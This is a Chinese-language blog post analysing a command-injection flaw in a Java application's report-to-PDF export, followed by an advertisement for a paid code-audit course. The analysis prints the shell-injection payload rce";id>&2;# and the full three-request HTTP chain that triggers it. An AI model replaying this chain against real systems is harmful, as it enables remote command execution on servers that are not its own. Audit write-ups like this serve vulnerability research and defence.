免责申明
本文章仅用于信息安全防御技术分享,因用于其他用途而产生不良后果,作者不承担任何法律责任,请严格遵循中华人民共和国相关法律法规,禁止做一切违法犯罪行为。
一、前言 前段时间跟着小朋友老师的课程学习了一段时间JAVA代码审计,今天尝试进行实操审计一下,JAVA反序列化这些还没学完,先进行审计基础漏洞(文章借助AI编辑)。 二、漏洞分析 先进行定位分析,这里审计出来的是后台漏洞,完成了小朋友老师的0-1但是还没完成0-1+1这一步,给尊师也投稿一个,首先进行定位敏感函数。
new ProcessBuilder();Runtime.getRuntime().exec()上述两个为命令执行接口,尝试进行分析。
2.1 命令执行入口 — CommandUtils.execFor()
全局搜索ProcessBuilder关键字,定位到CommandUtils.java,这是项目中封装命令执行的工具类。
public class CommandUtils {public static String execFor(String cmd, boolean charsetAuto) {ProcessBuilderbuilder=newProcessBuilder();builder.command("/bin/sh", "-c", cmd); // ← 关键点:cmd直接交给sh -c执行builder.directory(devHome);builder.redirectErrorStream(true);try {Processprocess=builder.start();// 读取命令输出 ...String result=IOUtils.readString(process.getInputStream());process.waitFor();return result;} catch (Exceptione) {throw new RuntimeException(e);}}}这里可以看见,cmd参数原封不动传入
/bin/sh -c。sh -c会解析其中一切shell元字符(;|$()`&等),只要cmd中包含用户可控的内容,就能注入任意命令。2.2 命令构造点 — PdfConverter.convert()
全局搜索
execFor的调用,跟进到 PdfConverter.java,这是负责调用 LibreOffice 进行文件格式转换的类。 public class PdfConverter {privatestaticfinalStringSOFFICE="/usr/bin/soffice";public static Fileconvert(String path, String type, String outDir) {// ① 拼装shell命令 —— path直接通过 %s 格式化进入命令字符串Stringcmd=String.format("%s --headless --convert-to %s \"%s\" --outdir \"%s\"",SOFFICE, // soffice路径(固定)type, // 转换类型,如 "pdf"(固定)path, // ← 用户可控的文件路径,用双引号包裹outDir// 输出目录(固定));// ② 调用execFor → /bin/sh -c cmdCommandUtils.execFor(cmd, false);// ...}}这里可以看见,path参数虽然被双引号
"..."包裹,看似安全,但实际上:
path来自用户可控的文件名
双引号内如果出现
"字符,就会提前闭合引号闭合引号后,后续内容就脱离了引号保护,被sh -c当作命令执行
这就是典型的"双引号包裹 → 双引号注入"绕过。
接下来需要追一个问题:path是从哪来的?能不能被用户控制?
2.3 path的来源 — 模板文件名拼接
搜索
convert()的调用点,定位到 DataReportService 或类似报表服务类中。// 文件: 报表导出服务(ReportService / DataReportService)public void exportPdf(String reportId, String[] recordIds) {// 从数据库取出报表模板配置DataReportConfig config=dataReportConfigService.getById(reportId);// 获取模板文件名 —— 这个文件名是在创建模板时由用户控制的String templateFile=config.getTemplateFile(); // ← 用户上传的模板文件路径// 拼出模板文件的完整磁盘路径String path=getStoragePath() +"/"+templateFile;// 调用convert,path传入shell命令PdfConverter.convert(path, "pdf", outputDir);}继续跟入,templateFile 这个字段是怎么设置的? 定位到模板创建/编辑的Controller。
@PostMapping("/app/entity/common-save")public JSONObject commonSave(@RequestBody JSONObjectdata) {// 前端传入的JSON直接映射到实体对象DataReportConfig config=new DataReportConfig();config.setName(data.getString("name")); // ← 模板名称,用户完全可控config.setTemplateFile(data.getString("templateFile")); // ← 模板文件路径config.setTemplateType(data.getInt("templateType"));// ... 其他字段// 直接入库,无任何过滤dataReportConfigService.save(config);return JSONObject.ok();}这里可以看见,name字段由前端JSON直接传入,没有经过任何过滤就直接存入数据库。
再往回追一步,templateFile字段和name字段的关联。模板文件上传后,文件名是由name字段拼接生成的:
public String storeTemplateFile(MultipartFile file, String templateName) {String recordId=generateRecordId();String date=DateUtils.format(newDate(), "yyyyMMdd");String fileName = String.format("%s__%s_%s.xlsx",recordId,templateName,date);// 存储文件Filedest=newFile(storageDir, fileName);file.transferTo(dest);// 返回相对路径,这个路径最终存入 templateFile 字段return"rb/"+date+"/"+fileName;}到这里整个链路就清楚了:
用户HTTP请求中的 name 字段→ 无过滤拼入文件名: xxx__<name>_date.xlsx→ 文件名存入 templateFile 字段→ 导出PDF时取出 templateFile,拼出完整磁盘路径 path→ path 传入 PdfConverter.convert()→ String.format 将 path 拼入 shell 命令字符串→ /bin/sh -c 执行 → 命令注入2.4 后缀校验绕过
在 PdfConverter 中唯一的校验是文件后缀:
// PdfConverter.javapublic static File convert(String path, String type, String outDir) {File file=new File(path);// 唯一的安全检查:校验后缀是否为Excel文件if (!file.getName().endsWith(".xlsx") &&!file.getName().endsWith(".xls")) {throw new IllegalArgumentException("Not a valid Excel file");}// 校验通过,path原样进入shell命令String cmd=String.format("%s --headless --convert-to %s \"%s\" --outdir\"%s\"",SOFFICE, type, path, outDir);CommandUtils.execFor(cmd, false);}这里没有对文件名内容做任何过滤,只要保证后缀是
.xlsx即可绕过。Payload中的#注释掉了文件名后半段的"和.xlsx",所以后缀校验完全不受影响。2.5 Shell注入Payload构造原理
现在站在攻击者视角,倒推为什么要构造这样的HTTP报文。
攻击者的目标:在 name 字段中注入shell元字符,让命令在服务端执行。
约束条件:
name 值最终会出现在 shell 命令的双引号
"..."内文件名必须以
.xlsx结尾才能通过后缀校验命令输出需要能回显到攻击者能看到的地方
Payload构造过程:
已知最终拼出的命令模板是:
soffice --headless --convert-to pdf "/path/to/xxx__<name>_date.xlsx" --outdir "/tmp"要在双引号内执行任意命令,需要做三件事:
① 用
"闭合前面的双引号② 用
;分隔命令(或者|&&等)③ 用
#注释掉后面的内容(避免语法错误)Payload设计:
rce";id>&2;#代入后效果:
soffice --headless --convert-to pdf "/path/to/xxx__rce";id>&2;#_date.xlsx" --outdir "/tmp"逐段解析:
rce"→ 字符串末尾的"闭合了第一个双引号,rce只是填充字符无实际意义
;→ shell命令分隔符,结束soffice命令,开始新的命令
id→ 要执行的任意命令
>&2→ 将stdout重定向到stderr,因为Java代码中redirectErrorStream(true)会合并stderr到stdout,保证命令输出能被Java进程读取并返回
;→ 分隔符
#→ shell注释符,注释掉后面所有内容(_date.xlsx" --outdir "/tmp"),防止语法报错这就是为什么数据包中 name 字段要构造为
rce";id>&2;#的原因。三、漏洞复现
下面逐一拆解三个攻击步骤,每个HTTP请求对应代码中的哪一段逻辑。
Step 1 — 上传Excel模板文件
POST /filex/upload HTTP/1.1Content-Type: multipart/form-data...Content-Disposition: form-data; name="file"; filename="cmdi_1778410303.xlsx"[Excel二进制数据]对应代码:
@PostMapping("/filex/upload")public JSONObject upload(@RequestParam("file") MultipartFile file) {// 接收上传文件,存储到磁盘,返回文件路径String filePath=fileStoreService.store(file);return JSONObject.ok().put("filePath", filePath);}这一步只是上传一个合法的Excel文件,内容随意,目的是获得一个
templateFile路径,供下一步使用。攻击者要的是一个合法的.xlsx文件路径。Step 2 — 保存模板,注入payload
POST /app/entity/common-save HTTP/1.1Content-Type: application/json{"belongEntity": "User","name": "rce\";id>&2;#","templateFile": "rb/20260510/185145218__cmdi_1778410303.xlsx","templateType": 1,"extraDefinition": {"templateVersion": 3},"metadata": {"entity": "DataReportConfig"}}对应代码:
// CommonSaveController.java@PostMapping("/app/entity/common-save")public JSONObject commonSave(@RequestBodyJSONObjectdata) {DataReportConfig config=new DataReportConfig();config.setName(data.getString("name")); // ← name = rce";id>&2;#config.setTemplateFile(data.getString("templateFile"));config.setTemplateType(data.getInt("templateType"));// ... 其他字段dataReportConfigService.save(config);returnJSONObject.ok();}为什么name字段可以注入:
name在前端是一个文本输入框的值,提交时作为JSON字符串传递
后端接收后没有任何过滤(没有转义、没有白名单、没有正则校验)
name存入数据库后,在导出PDF时被取出来拼接到文件名中
最终进入shell命令
Step 3 — 导出PDF,触发命令执行
GET /app/User/report/generate?report=032-019e1183c5282f79&record=001-0000000000000001,001-0000000000000001&output=PDF HTTP/1.1对应代码:
@GetMapping("/app/{entity}/report/generate")publicJSONObjectgenerateReport(@PathVariableStringentity,@RequestParamStringreport,@RequestParamStringrecord,@RequestParamStringoutput) {DataReportConfigconfig=dataReportConfigService.getById(report);// 获取模板文件名 → 拼成完整路径String templateFile=config.getTemplateFile();// templateFile = "rb/20260510/xxx__rce\";id>&2;#_date.xlsx"String path=getStoragePath()+"/"+templateFile;// 调用PdfConverter.convert(path) → shell执行 → 命令注入触发PdfConverter.convert(path, "pdf", outputDir);returnJSONObject.ok();}成功执行系统命令。 代码审计培训介绍&广告区域
二、第五期课程
第五期课程仍然是以代码审计为主,本次课程还是为三个语言的代码审计0-1讲解,目的为帮助学员完成0-1+1的白盒(代码审计)漏洞挖掘,并且在出货的基础上再+1去出高质量的漏洞(例如组合拳RCE、前台相关漏洞等)。 1 课程周期 开课周期预计到:三个月左右(直播+录播)
课程大纲
本次课程分为PHP、JAVA、NET代码审计为直播+录播,为了照顾一些基础较为薄弱的师傅新增基础~技巧~番外(录播课程)。 01
PHP&JAVA&NET代码审计 (直播+录播)
之前课程大纲主要为xxx实战案例,本次课程大纲着重体现思路方向,并非取消了实战部分,实战部分之多不减。 PHP课程目录 ✅ 第一节课:多框架初识&路由认识&参数传递 ✅ 第二节课:多框架&鉴权分析&认证与鉴权&鉴权方式 ✅ 第三节课:多框架&常见漏洞函数&回显&非回显 ✅ 第四节课:注入漏洞&常见位置&实战审计注入类漏洞 ✅ 第五节课:前台RCE漏洞审计&漏洞案例技巧讲解 ✅ 第六节课:门户网站CMS&网络设备&审计经验讲解 ✅ 第七节课:多框架&鉴权对抗&权限绕过技巧&案例分析 ✅ 第八节课:组合拳RCE漏洞分析&漏洞组合拳利用&案例 ✅ 第九节课:PHP下反序列化漏洞&魔术方法&pop链分析 ✅ 第十节课:PHP下反序列化漏洞实战&phar协议RCE案例 JAVA课程目录 ✅ 第一节课:Servlet&Spring Boot&Spring MVC&Struts2 ✅ 第二节课:多框架下&拦截器&认证鉴权&组件鉴权分析 ✅ 第三节课:多框架下&权限绕过&鉴权对抗&案例分析 ✅ 第四节课:常见漏洞函数&案例分析&审计技巧 ✅ 第五节课:前台漏洞审计&组合拳rce漏洞&技巧&案例 ✅ 第六节课:反序列化&CC链利用&反序列化漏洞利用 ✅ 第七节课:Ognl&SpEl&EL表达式注入&漏洞案例 ✅ 第八节课:内存马简介&内存马原理分析&内存马注入方式 ✅ 第九节课:RMI&JNDI注入&JNDI注入漏洞利用&案例 ✅ 第十节课:组件漏洞&shiro&fastjson&log4j分析&利用 .NET课程目录 ✅ 第一节课:初识.NET&Web From & MVC架构框架分析 ✅ 第二节课:Web From&MVC框架&鉴权分析&认证方式 ✅ 第三节课:多框架下&鉴权对抗&权限绕过分析&案例 ✅ 第四节课:注入漏洞分析&文件操作类漏洞&实战分析 ✅ 第五节课:常见漏洞位置&前台漏洞审计&漏洞案例讲解 ✅ 第六节课:组合拳RCE漏洞分析&组合拳RCE案例讲解 ✅ 第七节课:.NET反序列化漏洞初识&反序列化漏洞原理
✅ 第八节课:.NET安全反序列化链&反序列化触发场景
✅ 第九节课:.NET反序列化漏洞案例&反序列化漏洞分析
02
基础~技巧~番外(录播)
该篇章为长期更新 1 基础篇章 1、由于之前上课时部分师傅存在一定基础,刚开始的课程部分师傅认为自己可以跟的上等问题,导致时间的浪费。
2、同时有一定的师傅存在无法搭建源码,以及软件下载等问题,于是将这种基础问题,统一归纳为基础篇章,供师傅们学习,节省师傅们时间提升学习效率及课程质量
3、同时面对部分学员频繁提出的一些问题,针对该问题同样会进行解答,并且进行录制上传至基础篇章中。
2 技巧篇章 1、随着自己技术的进步也了解到了一些新型的技巧或者手法,例如sql注入的某一个技巧,但是重新讲解又浪费大量时间,特地新增了技巧篇章,将单独的技巧进行讲解。
3 番外篇章 1、自己在第四期讲过一些逆向相关,并且还存在相关的一些好的案例,得到了挺多师傅的认可,例如某APP接管存储桶等案例,于是之后在有好的案例将进行上传更新。
课程思维导图
常见疑问&课程讲解 第五期课程收费多少?
本次课程收费仍然是1688,并且还是承诺一次报名后续不再进行任何二次收费保障(包含内部平台,以及后续推出一系列内容均可观看)。
什么时间段上课,上课周期是多长时间?
第五期课程【直播+录播】上课周期为三个月,一般集中在周五六日这三天,一周保持2~3节课,每节课1小时左右。
作为学员,我们都有哪些权益?
首先最关键的就是课程内容是可以一直学习的,同时内部报告平台也可进行观看,答疑是不限时长,不限类型方向,任何方向均可,再次同时代码审计最关键的就是源码,源码&课件&视频都是给兄弟们配套的,当然无聊找小朋友聊天一起打游戏也可以哦。
学完之后可以达到什么水平?
学完之后可以达到可以进行独立审计的水平,在面对php、JAVA、NET主流语言的源码,可以进行独立审计,验证漏洞,对于一些JAVA安全内容例如:反序列化,内存马等也有一定的理解,可以进行打反序列化漏洞、注入内存马等操作,同时PHP的反序列化、pop链,phar协议等利用也有一定理解,且此类漏洞导致RCE均有案例。
0基础可以学吗?
1、这是大家最常问的一个问题,0基础是可以的,我的代码审计课程一直秉持着帮助大家完成代码审计0-1的目标,同时往期(第四期)课程新增了进阶课,其目的也是帮助大家完成0-1出洞到0-1出有质量的漏洞。
2、另外考虑到有的学员基础较为薄弱,本期同时也开了番外篇&基础篇,师傅们可以观看这块分区课程内容,此类分块课程目的就是为协助到一些基础比较薄弱的师傅们。
是那种读PPT拿着靶场讲解吗?
不会,课程均使用一些0Day&1Day&Nday优质漏洞来进行授课,且本期案例均为从简-难漏洞案例,深度体验代码审计当中的难易区分,完全杜绝靶场以及去读PPT的,从培训第一期开始到现在,基本为上课开始看几眼课件,让学员熟悉这节课的大概内容等信息,然后直接实操到下课,这一点也是我干培训五期以来一直使用的授课方式。
是否有简历修改&内推等福利?
有的兄弟,有的,不介意小朋友的指导简历这类的话,随时欢迎大家来骚扰我。
为什么你不新增AI方向的内容?
目前我个人认为AI可以帮助我们提升很大的效率,但是前提是AI的使用者本身要懂这个技术,才可以利用AI来降低该技术门槛,提升效率,完全自动化目前感觉还是无法做到,包括课程当中也会使用AI会顺带着给师傅讲了如何用ai来提升效率,同时如果反馈不会使用的师傅较多,会考虑后续在基础~技巧~番外来更新该方向内容。
联系方式
夜雨聆风



















